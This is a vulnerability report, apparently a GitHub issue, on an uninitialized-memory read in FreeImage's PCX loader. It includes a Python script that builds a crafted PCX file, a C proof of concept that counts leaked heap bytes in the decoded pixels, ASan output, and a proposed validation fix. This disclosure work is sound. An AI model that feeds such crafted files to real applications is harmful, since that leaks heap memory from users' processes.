PCX loader: uninitialized memory read in planes==3, bpp==8 BGR expansion (CWE-457)

[fuowang]

Summary

In Source/FreeImage/PluginPCX.cpp, the Load function's planes==3, bpp==8 branch over-allocates the line buffer (line 514) to prevent a heap over-read, but only fills lineLength (= bytes_per_line * planes) bytes via readLine. The BGR plane-expansion loop (lines 610–622) then reads pLine[x] for x in [0, width), accessing uninitialized memory when width > bytes_per_line * planes. These uninitialized bytes are copied into the output bitmap's pixel data, creating an information disclosure vector.

The current MAX(lineLength, width * header.bpp) over-allocation (added as a partial fix for the original heap over-read, CWE-125) prevents the ASan-detectable OOB read but does not address the root cause: the missing cross-validation between width and bytes_per_line, and the resulting use of uninitialized buffer contents as pixel data.

Root Cause

File: Source/FreeImage/PluginPCX.cpp, function Load

// Line 393: width from header.window (attacker-controlled)
const unsigned width = right - left + 1;

// Line 503: lineLength from header.bytes_per_line (attacker-controlled, independent of width)
const unsigned lineLength = header.bytes_per_line * header.planes;

// Line 514: buffer over-allocated to prevent OOB, but only lineLength bytes are filled
line = (BYTE*)malloc(MAX(lineLength, width * header.bpp) * sizeof(BYTE));
//     ^--- for crafted input (width=1024, bpl=16): allocates 8192 bytes

// Line 602: readLine fills ONLY lineLength (48) bytes; bytes 48..8191 are uninitialized
readLine(io, handle, line, lineLength, bIsRLE, ReadBuf, &ReadPos);

// Lines 610-622: BGR loop reads pLine[x] for x in [0, width=1024)
//   x in [0, 48)   → reads file data (0x41)
//   x in [48, 1024) → reads UNINITIALIZED memory, copied to bitmap pixels
pLine = line;
for (x = 0; x < width; x++) {
    bits[x * 3 + FI_RGBA_RED] = pLine[x];   // uninitialized for x >= 48
}
pLine += header.bytes_per_line;
for (x = 0; x < width; x++) {
    bits[x * 3 + FI_RGBA_GREEN] = pLine[x]; // uninitialized for x >= 48
}
pLine += header.bytes_per_line;
for (x = 0; x < width; x++) {
    bits[x * 3 + FI_RGBA_BLUE] = pLine[x];  // uninitialized for x >= 48
}

There is no validation that width <= bytes_per_line. When width > bytes_per_line, the BGR loop reads beyond the data that readLine populated, into uninitialized heap memory.

Impact

• Information disclosure: Uninitialized heap memory is copied into bitmap pixels. A caller reading the pixel data (e.g., via FreeImage_GetBits) can observe heap contents from previous allocations.
• No crash: Unlike the original CWE-125 heap over-read (which could segfault), this issue does not crash — the reads stay within the over-allocated buffer. The data leak is silent.

Reproduction

1. Craft a malicious PCX file

A minimal PCX with planes=3, bpp=8, width=1024, bytes_per_line=16, all pixel data set to 0x41:

make_pcx.py

import struct

def make_pcx(path, width, bytes_per_line, height=2):
    left, upper, right, lower = 0, 0, width - 1, height - 1
    hdr = bytearray(128)
    hdr[0] = 0x0A  # manufacturer
    hdr[1] = 5     # version
    hdr[2] = 0     # encoding (uncompressed)
    hdr[3] = 8     # bpp
    struct.pack_into('<4H', hdr, 4, left, upper, right, lower)
    hdr[65] = 3    # planes
    struct.pack_into('<H', hdr, 66, bytes_per_line)
    row = bytes([0x41] * (3 * bytes_per_line))  # all 0x41
    with open(path, 'wb') as f:
        f.write(hdr)
        f.write(row * height)

make_pcx('crafted.pcx', width=1024, bytes_per_line=16)
make_pcx('control.pcx', width=16, bytes_per_line=16)

2. Load via FreeImage and check pixel data

poc.c

#define FREEIMAGE_LIB
#include <FreeImage.h>
#include <stdio.h>

int main(int argc, char **argv) {
    const char *fn = argv[1];
    FreeImage_Initialise(FALSE);
    FIBITMAP *dib = FreeImage_Load(FreeImage_GetFIFFromFilename(fn), fn, 0);
    if (!dib) { printf("REJECTED\n"); return 0; }
    unsigned w = FreeImage_GetWidth(dib), h = FreeImage_GetHeight(dib);
    BYTE *bits = FreeImage_GetBits(dib);
    unsigned pitch = FreeImage_GetPitch(dib);
    unsigned leaked = 0;
    for (unsigned y = 0; y < h; y++) {
        BYTE *row = bits + (h - 1 - y) * pitch;
        for (unsigned x = 0; x < w; x++) {
            if (row[x*3] != 0x41 || row[x*3+1] != 0x41 || row[x*3+2] != 0x41)
                leaked++;
        }
    }
    printf("width=%u leaked=%u/%u\n", w, leaked, w * h);
    FreeImage_Unload(dib);
    FreeImage_DeInitialise();
    return 0;
}

3. Observed output

$ ./poc crafted.pcx
width=1024 leaked=2016/2048      ← 2016 pixels contain non-file (uninitialized) data

$ ./poc control.pcx
width=16 leaked=0/32             ← control: all pixels match file data

4. ASan behavior (for reference)

Under ASan, the current upstream does not trigger heap-buffer-overflow (the over-allocation prevents it). However, the uninitialized bytes show as 0xbe (ASan poison pattern), confirming the memory was never written by readLine:

[leak] x=16 y=0: R=0x41 G=0x41 B=0xbe (expected 0x41)

The original code (before the MAX fix, i.e., malloc(lineLength) only) triggers:

==ERROR: AddressSanitizer: heap-buffer-overflow on READ of size 1
    #0 in Load Source/FreeImage/PluginPCX.cpp:611
    ...
0x6040000147c0 is located 0 bytes to the right of 48-byte region
allocated at:
    #0 in Load Source/FreeImage/PluginPCX.cpp:514

Suggested Fix

Add a cross-validation check in the planes==3, bpp==8 branch to reject inputs where width > bytes_per_line, since each plane only provides bytes_per_line bytes but the BGR expansion indexes by width:

} else if((header.planes == 3) && (header.bpp == 8)) {
    BYTE *pLine;

    // Reject inputs where width exceeds bytes_per_line: each plane provides
    // only bytes_per_line bytes, but the BGR expansion below reads pLine[x]
    // for x in [0, width). Without this check, the loop reads uninitialized
    // memory from the over-allocated buffer.
    if (width > header.bytes_per_line) {
        throw FI_MSG_ERROR_PARSING;
    }

    for (unsigned y = 0; y < height; y++) {
        readLine(io, handle, line, lineLength, bIsRLE, ReadBuf, &ReadPos);
        // ... BGR expansion ...
    }
}

This is preferable to the current over-allocation approach because:

1. It rejects malformed input at the point of validation, rather than silently processing garbage
2. It prevents uninitialized memory from leaking into pixel data
3. It also covers the planes==4, bpp==1 branch which has a similar width vs bytes_per_line issue (line 571: index = (x / 8) + plane * header.bytes_per_line)

Environment

• FreeImage version: latest master (625117b)
• OS: Linux x86_64
• Compiler: gcc 12.3.1

Additional Notes

The width * header.bpp expression in the current MAX(lineLength, width * header.bpp) fix (line 514) appears to mix units: width is in pixels and bpp is bits-per-pixel-per-plane, so width * bpp yields a bit count, not a byte count. For bpp=8 this happens to equal width bytes (since 8 bits = 1 byte), so the over-allocation is sufficient. But for bpp=1 (the planes==4 branch), width * 1 = width bytes, which may not be sufficient for all cases. A proper byte-count expression would be (width * bpp + 7) / 8.

Is this considered a security issue? If yes, can someone help apply for a CVE? I'm also willing to submit a PR to fix it if needed.